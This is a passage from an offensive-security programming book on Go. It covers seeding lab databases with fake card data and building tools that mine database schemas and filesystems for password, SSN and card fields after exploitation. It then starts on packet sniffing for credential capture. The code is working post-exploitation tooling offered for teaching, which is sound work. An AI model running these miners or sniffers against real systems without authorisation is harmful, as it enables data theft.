27017. The port mapping is key, as it allows us to access the database instance
directly from our operating system. Without it, it would be inaccessible.
Check that the container started automatically by listing all the run-
ning containers:
$ docker ps
In the event your container doesn’t start automatically, run the follow-
ing command:
$ docker start some-mongo
The start command should get the container going.
Once your container starts, connect to the MongoDB instance by using
the run command—passing it the MongoDB client; that way, you can inter-
act with the database to seed data:
$ docker run -it --link some-mongo:mongo --rm mongo sh \
-c 'exec mongo "$MONGO_PORT_27017_TCP_ADDR:$MONGO_PORT_27017_TCP_PORT/store"'
>
This magical command runs a disposable, second Docker container
that has the MongoDB client binary installed—so you don’t have to install
the binary on your host operating system—and uses it to connect to the
some-mongo Docker container’s MongoDB instance. In this example, you’re
connecting to a database named test.
In Listing 7-1, you insert an array of documents into the transactions
collection. (All the code listings at the root location of / exist under the
provided github repo https://github.com/blackhat-go/bhg/.)
> db.transactions.insert([
{
"ccnum" : "4444333322221111",
"date" : "2019-01-05",
"amount" : 100.12,
"cvv" : "1234",
"exp" : "09/2020"
},
前沿信安资讯阵地 公众号:i nf osrc
156 Chapter 7
{
"ccnum" : "4444123456789012",
"date" : "2019-01-07",
"amount" : 2400.18,
"cvv" : "5544",
"exp" : "02/2021"
},
{
"ccnum" : "4465122334455667",
"date" : "2019-01-29",
"amount" : 1450.87,
"cvv" : "9876",
"exp" : "06/2020"
}
]);
Listing 7-1: Inserting transactions into a MongoDB collection (/ch-7/db/seed-mongo.js)
That’s it! You’ve now created your MongoDB database instance and
seeded it with a transactions collection that contains three fake documents
for querying. You’ll get to the querying part in a bit, but first, you should
know how to install and seed traditional SQL databases.
Installing and Seeding PostgreSQL and MySQL Databases
PostgreSQL (also called Postgres) and MySQL are probably the two most
common, well-known, enterprise-quality, open source relational database
management systems, and official Docker images exist for both. Because
of their similarity and the general overlap in their installation steps, we
batched together installation instructions for both here.
First, much in the same way as for the MongoDB example in the previ-
ous section, download and run the appropriate Docker image:
$ docker run --name some-mysql -p 3306:3306 -e MYSQL_ROOT_PASSWORD=password -d mysql
$ docker run --name some-postgres -p 5432:5432 -e POSTGRES_PASSWORD=password -d postgres
After your containers are built, confirm they are running, and if they
aren’t, you can start them via the docker start name command.
Next, you can connect to the containers from the appropriate client—
again, using the Docker image to prevent installing any additional files on
the host—and proceed to create and seed the database. In Listing 7-2, you
can see the MySQL logic.
$ docker run -it --link some-mysql:mysql --rm mysql sh -c \
'exec mysql -h "$MYSQL_PORT_3306_TCP_ADDR" -P"$MYSQL_PORT_3306_TCP_PORT" \
-uroot -p"$MYSQL_ENV_MYSQL_ROOT_PASSWORD"'
mysql> create database store;
mysql> use store;
mysql> create table transactions(ccnum varchar(32), date date, amount float(7,2),
-> cvv char(4), exp date);
Listing 7-2: Creating and initializing a MySQL database
前沿信安资讯阵地 公众号:i nf osrc
Abusing Databases and Filesystems 157
The listing, like the one that follows, starts a disposable Docker shell
that executes the appropriate database client binary. It creates and connects
to the database named store and then creates a table named transactions.
The two listings are identical, with the exception that they are tailored to
different database systems.
In Listing 7-3, you can see the Postgres logic, which differs slightly in
syntax from MySQL.
$ docker run -it --rm --link some-postgres:postgres postgres psql -h postgres -U postgres
postgres=# create database store;
postgres=# \connect store
store=# create table transactions(ccnum varchar(32), date date, amount money, cvv
char(4), exp date);
Listing 7-3: Creating and initializing a Postgres database
In both MySQL and Postgres, the syntax is identical for inserting your
transactions. For example, in Listing 7-4, you can see how to insert three
documents into a MySQL transactions collection.
mysql> insert into transactions(ccnum, date, amount, cvv, exp) values
-> ('4444333322221111', '2019-01-05', 100.12, '1234', '2020-09-01');
mysql> insert into transactions(ccnum, date, amount, cvv, exp) values
-> ('4444123456789012', '2019-01-07', 2400.18, '5544', '2021-02-01');
mysql> insert into transactions(ccnum, date, amount, cvv, exp) values
-> ('4465122334455667', '2019-01-29', 1450.87, '9876', '2019-06-01');
Listing 7-4: Inserting transactions into MySQL databases (/ch-7/db/seed-pg-mysql.sql)
Try inserting the same three documents into your Postgres database.
Installing and Seeding Microsoft SQL Server Databases
In 2016, Microsoft began making major moves to open-source some of its
core technologies. One of those technologies was Microsoft SQL (MSSQL)
Server. It feels pertinent to highlight this information while demonstrating
what, for so long, wasn’t possible—that is, installing MSSQL Server on a
Linux operating system. Better yet, there’s a Docker image for it, which you
can install with the following command:
$ docker run --name some-mssql -p 1433:1433 -e 'ACCEPT_EULA=Y' \
-e 'SA_PASSWORD=Password1!' -d microsoft/mssql-server-linux
That command is similar to the others you ran in the previous two
sections, but per the documentation, the SA_PASSWORD value needs to be
complex—a combination of uppercase letters, lowercase letters, numbers,
and special characters—or you won’t be able to authenticate to it. Since
this is just a test instance, the preceding value is trivial but minimally meets
those requirements—just as we see on enterprise networks all the time!
前沿信安资讯阵地 公众号:i nf osrc
158 Chapter 7
With the image installed, start the container, create the schema, and
seed the database, as in Listing 7-5.
$ docker exec -it some-mssql /opt/mssql-tools/bin/sqlcmd -S localhost \
-U sa -P 'Password1!'
> create database store;
> go
> use store;
> create table transactions(ccnum varchar(32), date date, amount decimal(7,2),
> cvv char(4), exp date);
> go
> insert into transactions(ccnum, date, amount, cvv, exp) values
> ('4444333322221111', '2019-01-05', 100.12, '1234', '2020-09-01');
> insert into transactions(ccnum, date, amount, cvv, exp) values
> ('4444123456789012', '2019-01-07', 2400.18, '5544', '2021-02-01');
> insert into transactions(ccnum, date, amount, cvv, exp) values
> ('4465122334455667', '2019-01-29', 1450.87, '9876', '2020-06-01');
> go
Listing 7-5: Creating and seeding an MSSQL database
The previous listing replicates the logic we demonstrated for MySQL
and Postgres earlier. It uses Docker to connect to the service, creates and
connects to the store database, and creates and seeds a transactions table.
We’re presenting it separately from the other SQL databases because it has
some MSSQL-specific syntax.
Connecting and Querying Databases in Go
Now that you have a variety of test databases to work with, you can build
the logic to connect to and query those databases from a Go client. We’ve
divided this discussion into two topics—one for MongoDB and one for
traditional SQL databases.
Querying MongoDB
Despite having an excellent standard SQL package, Go doesn’t maintain a
similar package for interacting with NoSQL databases. Instead you’ll need
to rely on third-party packages to facilitate this interaction. Rather than
inspect the implementation of each third-party package, we’ll focus purely
on MongoDB. We’ll use the mgo (pronounce mango) DB driver for this.
Start by installing the mgo driver with the following command:
$ go get gopkg.in/mgo.v2
You can now establish connectivity and query your store collection (the
equivalent of a table), which requires even less code than the SQL sample
code we’ll create later (see Listing 7-6).
前沿信安资讯阵地 公众号:i nf osrc
Abusing Databases and Filesystems 159
package main
import (
"fmt"
"log"
mgo "gopkg.in/mgo.v2"
)
type Transaction struct { u
CCNum string `bson:"ccnum"`
Date string `bson:"date"`
Amount float32 `bson:"amount"`
Cvv string `bson:"cvv"`
Expiration string `bson:"exp"`
}
func main() {
session, err := mgo.Dial("127.0.0.1") v
if err != nil {
log.Panicln(err)
}
defer session.Close()
results := make([]Transaction, 0)
if err := session.DB("store").C("transactions").Find(nil).All(&results)w; err != nil {
log.Panicln(err)
}
for _, txn := range results { x
fmt.Println(txn.CCNum, txn.Date, txn.Amount, txn.Cvv, txn.Expiration)
}
}
Listing 7-6: Connecting to and querying a MongoDB database (/ch-7/db /mongo-connect/main.go)
First, you define a type, Transaction, which will represent a single
document from your store collection u. The internal mechanism for data
representation in MongoDB is binary JSON. For this reason, use tagging
to define any marshaling directives. In this case, you’re using tagging to
explicitly define the element names to be used in the binary JSON data.
In your main() function v, call mgo.Dial() to create a session by establish-
ing a connection to your database, testing to make sure no errors occurred,
and deferring a call to close the session. You then use the session variable to
query the store database w, retrieving all the records from the transactions
collection. You store the results in a Transaction slice, named results. Under
the covers, your structure tags are used to unmarshal the binary JSON to
your defined type. Finally, loop over your result set and print them to the
screen x. In both this case and the SQL sample in the next section, your
output should look similar to the following:
$ go run main.go
4444333322221111 2019-01-05 100.12 1234 09/2020
前沿信安资讯阵地 公众号:i nf osrc
160 Chapter 7
4444123456789012 2019-01-07 2400.18 5544 02/2021
4465122334455667 2019-01-29 1450.87 9876 06/2020
Querying SQL Databases
Go contains a standard package, called database/sql, that defines an inter-
face for interacting with SQL and SQL-like databases. The base implemen-
tation automatically includes functionality such as connection pooling and
transaction support. Database drivers adhering to this interface automati-
cally inherit these capabilities and are essentially interchangeable, as the
API remains consistent between drivers. The function calls and implemen-
tation in your code are identical whether you’re using Postgres, MSSQL,
MySQL, or some other driver. This makes it convenient to switch backend
databases with minimal code change on the client. Of course, the drivers
can implement database-specific capabilities and use different SQL syntax,
but the function calls are nearly identical.
For this reason, we’ll show you how to connect to just one SQL database—
MySQL—and leave the other SQL databases as an exercise for you. You
start by installing the driver with the following command:
$ go get github.com/go-sql-driver/mysql
Then, you can create a basic client that connects to the database and
retrieves the information from your transactions table—using the script in
Listing 7-7.
package main
import (
"database/sql" u
"fmt"
"log"
"github.com/go-sql-driver/mysql" v
)
func main() {
db, err := sql.Open("mysql", "root:password@tcp(127.0.0.1:3306)/store")w
if err != nil {
log.Panicln(err)
}
defer db.Close()
var (
ccnum, date, cvv, exp string
amount float32
)
rows, err := db.Query("SELECT ccnum, date, amount, cvv, exp FROM transactions") x
前沿信安资讯阵地 公众号:i nf osrc
Abusing Databases and Filesystems 161
if err != nil {
log.Panicln(err)
}
defer rows.Close()
for rows.Next() {
err := rows.Scan(&ccnum, &date, &amount, &cvv, &exp)y
if err != nil {
log.Panicln(err)
}
fmt.Println(ccnum, date, amount, cvv, exp)
}
if rows.Err() != nil {
log.Panicln(err)
}
}
Listing 7-7: Connecting to and querying a MySQL database (/ch-7/db /mysql-connect/main.go)
The code begins by importing Go’s database/sql package u. This allows
you to utilize Go’s awesome standard SQL library interface to interact with
the database. You also import your MySQL database driver v. The leading
underscore indicates that it’s imported anonymously, which means its
exported types aren’t included, but the driver registers itself with the sql
package so that the MySQL driver itself handles the function calls.
Next, you call sql.Open() to establish a connection to our database w.
The first parameter specifies which driver should be used—in this case, the
driver is mysql—and the second parameter specifies your connection string.
You then query your database, passing an SQL statement to select all rows
from your transactions table x, and then loop over the rows, subsequently
reading the data into your variables and printing the values y.
That’s all you need to do to query a MySQL database. Using a different
backend database requires only the following minor changes to the code:
1. Import the correct database driver.
2. Change the parameters passed to sql.Open().
3. Tweak the SQL syntax to the flavor required by your backend database.
Among the several database drivers available, many are pure Go, while
a handful of others use cgo for some underlying interaction. Check out the
list of available drivers at https://github.com/golang/go/wiki/SQLDrivers/.
Building a Database Miner
In this section, you will create a tool that inspects the database schema (for
example, column names) to determine whether the data within is worth pil-
fering. For instance, say you want to find passwords, hashes, social security
前沿信安资讯阵地 公众号:i nf osrc
162 Chapter 7
numbers, and credit card numbers. Rather than building one monolithic
utility that mines various backend databases, you’ll create separate utilities—
one for each database—and implement a defined interface to ensure con-
sistency between the implementations. This flexibility may be somewhat
overkill for this example, but it gives you the opportunity to create reusable
and portable code.
The interface should be minimal, consisting of a few basic types and
functions, and it should require the implementation of a single method to
retrieve database schema. Listing 7-8, called dbminer.go, defines the data-
base miner’s interface.
package dbminer
import (
"fmt"
"regexp"
)
u type DatabaseMiner interface {
GetSchema() (*Schema, error)
}
v type Schema struct {
Databases []Database
}
type Database struct {
Name string
Tables []Table
}
type Table struct {
Name string
Columns []string
}
w func Search(m DatabaseMiner) error {
x s, err := m.GetSchema()
if err != nil {
return err
}
re := getRegex()
y for _, database := range s.Databases {
for _, table := range database.Tables {
for _, field := range table.Columns {
for _, r := range re {
if r.MatchString(field) {
fmt.Println(database)
fmt.Printf("[+] HIT: %s\n", field)
}
前沿信安资讯阵地 公众号:i nf osrc
Abusing Databases and Filesystems 163
}
}
}
}
return nil
}
z func getRegex() []*regexp.Regexp {
return []*regexp.Regexp{
regexp.MustCompile(`(?i)social`),
regexp.MustCompile(`(?i)ssn`),
regexp.MustCompile(`(?i)pass(word)?`),
regexp.MustCompile(`(?i)hash`),
regexp.MustCompile(`(?i)ccnum`),
regexp.MustCompile(`(?i)card`),
regexp.MustCompile(`(?i)security`),
regexp.MustCompile(`(?i)key`),
}
}
/* Extranneous code omitted for brevity */
Listing 7-8: Database miner implementation (/ch-7/db /dbminer/dbminer.go)
The code begins by defining an interface named DatabaseMiner u. A
single method, called GetSchema(), is required for any types that implement
the interface. Because each backend database may have specific logic to
retrieve the database schema, the expectation is that each specific utility
can implement the logic in a way that’s unique to the backend database
and driver in use.
Next, you define a Schema type, which is composed of a few subtypes
also defined here v. You’ll use the Schema type to logically represent the
database schema—that is, databases, tables, and columns. You might have
noticed that your GetSchema() function, within the interface definition,
expects implementations to return a *Schema.
Now, you define a single function, called Search(), which contains the
bulk of the logic. The Search() function expects a DatabaseMiner instance to
be passed to it during the function call, and stores the miner value in a vari-
able named m w. The function starts by calling m.GetSchema() to retrieve the
schema x. The function then loops through the entire schema, searching
against a list of regular expression (regex) values for column names that
match y. If it finds a match, the database schema and matching field are
printed to the screen.
Lastly, define a function named getRegex() z. This function compiles
regex strings by using Go’s regexp package and returns a slice of these values.
The regex list consists of case-insensitive strings that match against common
or interesting field names such as ccnum, ssn, and password.
With your database miner’s interface in hand, you can create utility-
specific implementations. Let’s start with the MongoDB database miner.
前沿信安资讯阵地 公众号:i nf osrc
164 Chapter 7
Implementing a MongoDB Database Miner
The MongoDB utility program in Listing 7-9 implements the interface
defined in Listing 7-8 while also integrating the database connectivity
code you built in Listing 7-6.
package main
import (
"os"
u "github.com/bhg/ch-7/db/dbminer"
"gopkg.in/mgo.v2"
"gopkg.in/mgo.v2/bson"
)
v type MongoMiner struct {
Host string
session *mgo.Session
}
w func New(host string) (*MongoMiner, error) {
m := MongoMiner{Host: host}
err := m.connect()
if err != nil {
return nil, err
}
return &m, nil
}
x func (m *MongoMiner) connect() error {
s, err := mgo.Dial(m.Host)
if err != nil {
return err
}
m.session = s
return nil
}
y func (m *MongoMiner) GetSchema() (*dbminer.Schema, error) {
var s = new(dbminer.Schema)
dbnames, err := m.session.DatabaseNames()z
if err != nil {
return nil, err
}
for _, dbname := range dbnames {
db := dbminer.Database{Name: dbname, Tables: []dbminer.Table{}}
collections, err := m.session.DB(dbname).CollectionNames(){
if err != nil {
return nil, err
}
前沿信安资讯阵地 公众号:i nf osrc
Abusing Databases and Filesystems 165
for _, collection := range collections {
table := dbminer.Table{Name: collection, Columns: []string{}}
var docRaw bson.Raw
err := m.session.DB(dbname).C(collection).Find(nil).One(&docRaw)|
if err != nil {
return nil, err
}
var doc bson.RawD
if err := docRaw.Unmarshal(&doc); err != nil {}
if err != nil {
return nil, err
}
}
for _, f := range doc {
table.Columns = append(table.Columns, f.Name)
}
db.Tables = append(db.Tables, table)
}
s.Databases = append(s.Databases, db)
}
return s, nil
}
func main() {
mm, err := New(os.Args[1])
if err != nil {
panic(err)
}
~ if err := dbminer.Search(mm); err != nil {
panic(err)
}
}
Listing 7-9: Creating a MongoDB database miner (/ch-7/db/mongo/main.go)
You start by importing the dbminer package that defines your Database
Miner interface u. Then you define a MongoMiner type that will be used to
implement the interface v. For convenience, you define a New() function
that creates a new instance of your MongoMiner type w, calling a method
named connect() that establishes a connection to the database x. The
entirety of this logic essentially bootstraps your code, connecting to
the database in a fashion similar to that discussed in Listing 7-6.
The most interesting portion of the code is your implementation of
the GetSchema() interface method y. Unlike in the previous MongoDB
sample code in Listing 7-6, you are now inspecting the MongoDB meta-
data, first retrieving database names z and then looping over those data-
bases to retrieve each database’s collection names {. Lastly, the function
retrieves the raw document that, unlike a typical MongoDB query, uses lazy
前沿信安资讯阵地 公众号:i nf osrc
166 Chapter 7
unmarshaling |. This allows you to explicitly unmarshal the record into
a generic structure so that you can inspect field names }. If not for lazy
unmarshaling, you would have to define an explicit type, likely using bson
tag attributes, in order to instruct your code how to unmarshal the data
into a struct you defined. In this case, you don’t know (or care) about the
field types or structure—you just want the field names (not the data)—so
this is how you can unmarshal structured data without needing to know the
structure of that data beforehand.
Your main() function expects the IP address of your MongoDB instance
as its lone argument, calls your New() function to bootstrap everything, and
then calls dbminer.Search(), passing to it your MongoMiner instance ~. Recall
that dbminer.Search() calls GetSchema() on the received DatabaseMiner instance;
this calls your MongoMiner implementation of the function, which results in
the creation of dbminer.Schema that is then searched against the regex list in
Listing 7-8.
When you run your utility, you are blessed with the following output:
$ go run main.go 127.0.0.1
[DB] = store
[TABLE] = transactions
[COL] = _id
[COL] = ccnum
[COL] = date
[COL] = amount
[COL] = cvv
[COL] = exp
[+] HIT: ccnum
You found a match! It may not look pretty, but it gets the job done—
successfully locating the database collection that has a field named ccnum.
With your MongoDB implementation built, in the next section, you’ll
do the same for a MySQL backend database.
Implementing a MySQL Database Miner
To make your MySQL implementation work, you’ll inspect the information
_schema.columns table. This table maintains metadata about all the databases
and their structures, including table and column names. To make the data
the simplest to consume, use the following SQL query, which removes infor-
mation about some of the built-in MySQL databases that are of no conse-
quence to your pillaging efforts:
SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME FROM columns
WHERE TABLE_SCHEMA NOT IN ('mysql', 'information_schema', 'performance_schema', 'sys')
ORDER BY TABLE_SCHEMA, TABLE_NAME
前沿信安资讯阵地 公众号:i nf osrc
Abusing Databases and Filesystems 167
The query produces results resembling the following:
+--------------+--------------+-------------+
| TABLE_SCHEMA | TABLE_NAME | COLUMN_NAME |
+--------------+--------------+-------------+
| store | transactions | ccnum |
| store | transactions | date |
| store | transactions | amount |
| store | transactions | cvv |
| store | transactions | exp |
--snip--
Although using that query to retrieve schema information is pretty
straightforward, the complexity in your code comes from logically trying
to differentiate and categorize each row while defining your GetSchema()
function. For example, consecutive rows of output may or may not belong
to the same database or table, so associating the rows to the correct dbminer
.Database and dbminer.Table instances becomes a somewhat tricky endeavor.
Listing 7-10 defines the implementation.
type MySQLMiner struct {
Host string
Db sql.DB
}
func New(host string) (*MySQLMiner, error) {
m := MySQLMiner{Host: host}
err := m.connect()
if err != nil {
return nil, err
}
return &m, nil
}
func (m *MySQLMiner) connect() error {
db, err := sql.Open(
"mysql",
u fmt.Sprintf("root:password@tcp(%s:3306)/information_schema", m.Host))
if err != nil {
log.Panicln(err)
}
m.Db = *db
return nil
}
func (m *MySQLMiner) GetSchema() (*dbminer.Schema, error) {
var s = new(dbminer.Schema)
前沿信安资讯阵地 公众号:i nf osrc
168 Chapter 7
v sql := `SELECT TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME FROM columns
WHERE TABLE_SCHEMA NOT IN
('mysql', 'information_schema', 'performance_schema', 'sys')
ORDER BY TABLE_SCHEMA, TABLE_NAME`
schemarows, err := m.Db.Query(sql)
if err != nil {
return nil, err
}
defer schemarows.Close()
var prevschema, prevtable string
var db dbminer.Database
var table dbminer.Table
w for schemarows.Next() {
var currschema, currtable, currcol string
if err := schemarows.Scan(&currschema, &currtable, &currcol); err != nil {
return nil, err
}
x if currschema != prevschema {
if prevschema != "" {
db.Tables = append(db.Tables, table)
s.Databases = append(s.Databases, db)
}
db = dbminer.Database{Name: currschema, Tables: []dbminer.Table{}}
prevschema = currschema
prevtable = ""
}
y if currtable != prevtable {
if prevtable != "" {
db.Tables = append(db.Tables, table)
}
table = dbminer.Table{Name: currtable, Columns: []string{}}
prevtable = currtable
}
z table.Columns = append(table.Columns, currcol)
}
db.Tables = append(db.Tables, table)
s.Databases = append(s.Databases, db)
if err := schemarows.Err(); err != nil {
return nil, err
}
return s, nil
}
func main() {
mm, err := New(os.Args[1])
if err != nil {
panic(err)
}
defer mm.Db.Close()
前沿信安资讯阵地 公众号:i nf osrc
Abusing Databases and Filesystems 169
if err := dbminer.Search(mm); err != nil {
panic(err)
}
}
Listing 7-10: Creating a MySQL database miner (/ch-7/db/mysql/main.go/)
A quick glance at the code and you’ll probably realize that much of it is
very, very similar to the MongoDB example in the preceding section. As a
matter of fact, the main() function is identical.
The bootstrapping functions are also similar—you just change the
logic to interact with MySQL rather than MongoDB. Notice that this logic
connects to your information_schema database u, so that you can inspect the
database schema.
Much of the code’s complexity resides within the GetSchema() implemen-
tation. Although you are able to retrieve the schema information by using a
single database query v, you then have to loop over the results w, inspect-
ing each row so you can determine what databases exist, what tables exist
in each database, and what columns exist for each table. Unlike in your
MongoDB implementation, you don’t have the luxury of JSON/BSON with
attribute tags to marshal and unmarshal data into complex structures; you
maintain variables to track the information in your current row and com-
pare it with the data from the previous row, in order to determine whether
you’ve encountered a new database or table. Not the most elegant solution,
but it gets the job done.
Next, you check whether the database name for your current row
differs from your previous row x. If so, you create a new miner.Database
instance. If it isn’t your first iteration of the loop, add the table and data-
base to your miner.Schema instance. You use similar logic to track and add
miner.Table instances to your current miner.Database y. Lastly, add each of
the columns to our miner.Table z.
Now, run the program against your Docker MySQL instance to confirm
that it works properly, as shown here:
$ go run main.go 127.0.0.1
[DB] = store
[TABLE] = transactions
[COL] = ccnum
[COL] = date
[COL] = amount
[COL] = cvv
[COL] = exp
[+] HIT: ccnum
The output should be almost indiscernible from your MongoDB output.
This is because your dbminer.Schema isn’t producing any output—the dbminer
.Search() function is. This is the power of using interfaces. You can have
前沿信安资讯阵地 公众号:i nf osrc
170 Chapter 7
specific implementations of key features, yet still utilize a single, standard
function to process your data in a predictable, usable manner.
In the next section, you’ll step away from databases and instead focus
on pillaging filesystems.
Pillaging a Filesystem
In this section, you’ll build a utility that walks a user-supplied filesystem
path recursively, matching against a list of interesting filenames that you
would deem useful as part of a post-exploitation exercise. These files may
contain, among other things, personally identifiable information, user-
names, passwords, system logins, and password database files.
The utility looks specifically at filenames rather than file contents, and
the script is made much simpler by the fact that Go contains standard func-
tionality in its path/filepath package that you can use to easily walk a direc-
tory structure. You can see the utility in Listing 7-11.
package main
import (
"fmt"
"log"
"os"
"path/filepath"
"regexp"
)
u var regexes = []*regexp.Regexp{
regexp.MustCompile(`(?i)user`),
regexp.MustCompile(`(?i)password`),
regexp.MustCompile(`(?i)kdb`),
regexp.MustCompile(`(?i)login`),
}
v func walkFn(path string, f os.FileInfo, err error) error {
for _, r := range regexes {
w if r.MatchString(path) {
fmt.Printf("[+] HIT: %s\n", path)
}
}
return nil
}
func main() {
root := os.Args[1]
x if err := filepath.Walk(root, walkFn); err != nil {
log.Panicln(err)
}
}
Listing 7-11: Walking and searching a filesystem (/ch-7/filesystem/main.go)
前沿信安资讯阵地 公众号:i nf osrc
Abusing Databases and Filesystems 171
In contrast to your database-mining implementations, the filesystem
pillaging setup and logic might seem a little too simple. Similar to the way
you created your database implementations, you define a regex list for iden-
tifying interesting filenames u. To keep the code minimal, we limited the
list to just a handful of items, but you can expand the list to accommodate
more practical usage.
Next, you define a function, named walkFn(), that accepts a file path
and some additional parameters v. The function loops over your regular
expression list and checks for matches w, displaying them to stdout. The
walkFn() function x is used in the main() function, and passed as a param-
eter to filepath.Walk(). The Walk() function expects two parameters—a
root path and a function (in this case, walkFn())—and recursively walks the
directory structure starting at the value supplied as the root path, calling
walkFn() for every directory and file it encounters.
With your utility complete, navigate to your desktop and create the
following directory structure:
$ tree targetpath/
targetpath/
--- anotherpath
- --- nothing.txt
- --- users.csv
--- file1.txt
--- yetanotherpath
--- nada.txt
--- passwords.xlsx
2 directories, 5 files
Running your utility against this same targetpath directory produces the
following output, confirming that your code works splendidly:
$ go run main.go ./somepath
[+] HIT: somepath/anotherpath/users.csv
[+] HIT: somepath/yetanotherpath/passwords.xlsx
That’s just about all there is to it. You can improve the sample code
through the inclusion of additional or more-specific regular expressions.
Further, we encourage you to improve the code by applying the regular
expression check only to filenames, not directories. Another enhancement
we encourage you to make is to locate and flag specific files with a recent
modified or access time. This metadata can lead you to more important
content, including files used as part of critical business processes.
前沿信安资讯阵地 公众号:i nf osrc
172 Chapter 7
Summary
In this chapter, we dove into database interactions and filesystem walking,
using both Go’s native packages and third-party libraries to inspect data-
base metadata and filenames. For an attacker, these resources often contain
valuable information, and we created various utilities that allow us to search
for this juicy information.
In the next chapter, you’ll take a look at practical packet processing.
Specifically, you’ll learn how to sniff and manipulate network packets.
前沿信安资讯阵地 公众号:i nf osrc
8
R AW PACK E T PROCE S SING
In this chapter, you’ll learn how to capture
and process network packets. You can
use packet processing for many purposes,
including to capture cleartext authentication
credentials, alter the application functionality of the
packets, or spoof and poison traffic. You can also use
it for SYN scanning and for port scanning through
SYN-flood protections, among other things.
We’ll introduce you to the excellent gopacket package from Google,
which will enable you to both decode packets and reassemble the stream
of traffic. This package allows you to filter traffic by using the Berkeley
Packet Filter (BPF), also called tcpdump syntax; read and write .pcap files;
inspect various layers and data; and manipulate packets.
We’ll walk through several examples to show you how to identify devices,
filter results, and create a port scanner that can bypass SYN-flood protections.
前沿信安资讯阵地 公众号:i nf osrc
174 Chapter 8
Setting Up Your Environment
Before working through the code in this chapter, you need to set up your
environment. First, install gopacket by entering the following:
$ go get github.com/google/gopacket
Now, gopacket relies on external libraries and drivers to bypass the oper-
ating system’s protocol stack. If you intend to compile the examples in this
chapter for use on Linux or macOS, you’ll need to install libpcap-dev. You
can do this with most package management utilities such as apt, yum, or brew.
Here’s how you install it by using apt (the installation process looks similar
for the other two options):
$ sudo apt-get install libpcap-dev
If you intend to compile and run the examples in this chapter on
Windows, you have a couple of options, based on whether you’re going to
cross-compile or not. Setting up a development environment is simpler if
you don’t cross-compile, but in that case, you’ll have to create a Go devel-
opment environment on a Windows machine, which can be unattractive
if you don’t want to clutter another environment. For the time being,
we’ll assume you have a working environment that you can use to compile
Windows binaries. Within this environment, you’ll need to install WinPcap.
You can download an installer for free from https://www.winpcap.org/.
Identifying Devices by Using the pcap Subpackage
Before you can capture network traffic, you must identify available devices
on which you can listen. You can do this easily using the gopacket/pcap sub-
package, which retrieves them with the following helper function: pcap.Find
AllDevs() (ifs []Interface, err error). Listing 8-1 shows how you can use it
to list all available interfaces. (All the code listings at the root location of /
exist under the provided github repo https://github.com/blackhat-go/bhg/.)
package main
import (
"fmt"
"log"
"github.com/google/gopacket/pcap"
)
func main() {
u devices, err := pcap.FindAllDevs()
if err != nil {
log.Panicln(err)
}
前沿信安资讯阵地 公众号:i nf osrc
Raw Packet Processing 175
v for _, device := range devices {
fmt.Println(device.Namew)
x for _, address := range device.Addresses {
y fmt.Printf(" IP: %s\n", address.IP)
fmt.Printf(" Netmask: %s\n", address.Netmask)
}
}
}
Listing 8-1: Listing the available network devices (/ch-8 /identify/main.go)
You enumerate your devices by calling pcap.FindAllDevs() u. Then you
loop through the devices found v. For each device, you access various
properties, including the device.Name w. You also access their IP addresses
through the Addresses property, which is a slice of type pcap.InterfaceAddress.
You loop through these addresses x, displaying the IP address and netmask
to the screen y.
Executing your utility produces output similar to Listing 8-2.
$ go run main.go
enp0s5
IP: 10.0.1.20
Netmask: ffffff00
IP: fe80::553a:14e7:92d2:114b
Netmask: ffffffffffffffff0000000000000000
any
lo
IP: 127.0.0.1
Netmask: ff000000
IP: ::1
Netmask: ffffffffffffffffffffffffffffffff
Listing 8-2: Output showing the available network interfaces
The output lists the available network interfaces—enp0s5, any, and lo—
as well as their IPv4 and IPv6 addresses and netmasks. The output on your
system will likely differ from these network details, but it should be similar
enough that you can make sense of the information.
Live Capturing and Filtering Results
Now that you know how to query available devices, you can use gopacket’s
features to capture live packets off the wire. In doing so, you’ll also filter the
set of packets by using BPF syntax. BPF allows you to limit the contents of
what you capture and display so that you see only relevant traffic. It’s com-
monly used to filter traffic by protocol and port. For example, you could
create a filter to see all TCP traffic destined for port 80. You can also filter
traffic by destination host. A full discussion of BPF syntax is beyond the scope
of this book. For additional ways to use BPF, take a peek at http://www.tcpdump
.org/manpages/pcap-filter.7.html.
前沿信安资讯阵地 公众号:i nf osrc
176 Chapter 8
Listing 8-3 shows the code, which filters traffic so that you capture only
TCP traffic sent to or from port 80.
package main
import (
"fmt"
"log"
"github.com/google/gopacket"
"github.com/google/gopacket/pcap"
)
u var (
iface = "enp0s5"
snaplen = int32(1600)
promisc = false
timeout = pcap.BlockForever
filter = "tcp and port 80"
devFound = false
)
func main() {
devices, err := pcap.FindAllDevs()v
if err != nil {
log.Panicln(err)
}
w for _, device := range devices {
if device.Name == iface {
devFound = true
}
}
if !devFound {
log.Panicf("Device named '%s' does not exist\n", iface)
}
x handle, err := pcap.OpenLive(iface, snaplen, promisc, timeout)
if err != nil {
log.Panicln(err)
}
defer handle.Close()
y if err := handle.SetBPFFilter(filter); err != nil {
log.Panicln(err)
}
z source := gopacket.NewPacketSource(handle, handle.LinkType())
for packet := range source.Packets(){ {
fmt.Println(packet)
}
}
Listing 8-3: Using a BPF filter to capture specific network traffic (/ch-8/filter/main.go)
前沿信安资讯阵地 公众号:i nf osrc
Raw Packet Processing 177
The code starts by defining several variables necessary to set up the
packet capture u. Included among these is the name of the interface on
which you want to capture data, the snapshot length (the amount of data
to capture for each frame), the promisc variable (which determines whether
you’ll be running promiscuous mode), and your time-out. Also, you define
your BPF filter: tcp and port 80. This will make sure you capture only packets
that match those criteria.
Within your main() function, you enumerate the available devices v,
looping through them to determine whether your desired capture interface
exists in your device list w. If the interface name doesn’t exist, then you
panic, stating that it’s invalid.
What remains in the rest of the main() function is your capturing logic.
From a high-level perspective, you need to first obtain or create a *pcap.Handle,
which allows you to read and inject packets. Using this handle, you can then
apply a BPF filter and create a new packet data source, from which you can
read your packets.
You create your *pcap.Handle (named handle in the code) by issuing a call
to pcap.OpenLive() x. This function receives an interface name, a snapshot
length, a boolean value defining whether it’s promiscuous, and a time-out
value. These input variables are all defined prior to the main() function, as
we detailed previously. Call handle.SetBPFFilter(filter) to set the BPF filter
for your handle y, and then use handle as an input while calling gopacket
.NewPacketSource(handle, handle.LinkType()) to create a new packet data
source z. The second input value, handle.LinkType(), defines the decoder
to use when handling packets. Lastly, you actually read packets from the
wire by using a loop on source.Packets() {, which returns a channel.
As you might recall from previous examples in this book, looping on
a channel causes the loop to block when it has no data to read from the
channel. When a packet arrives, you read it and print its contents to screen.
The output should look like Listing 8-4. Note that the program requires
elevated privileges because we’re reading raw content off the network.
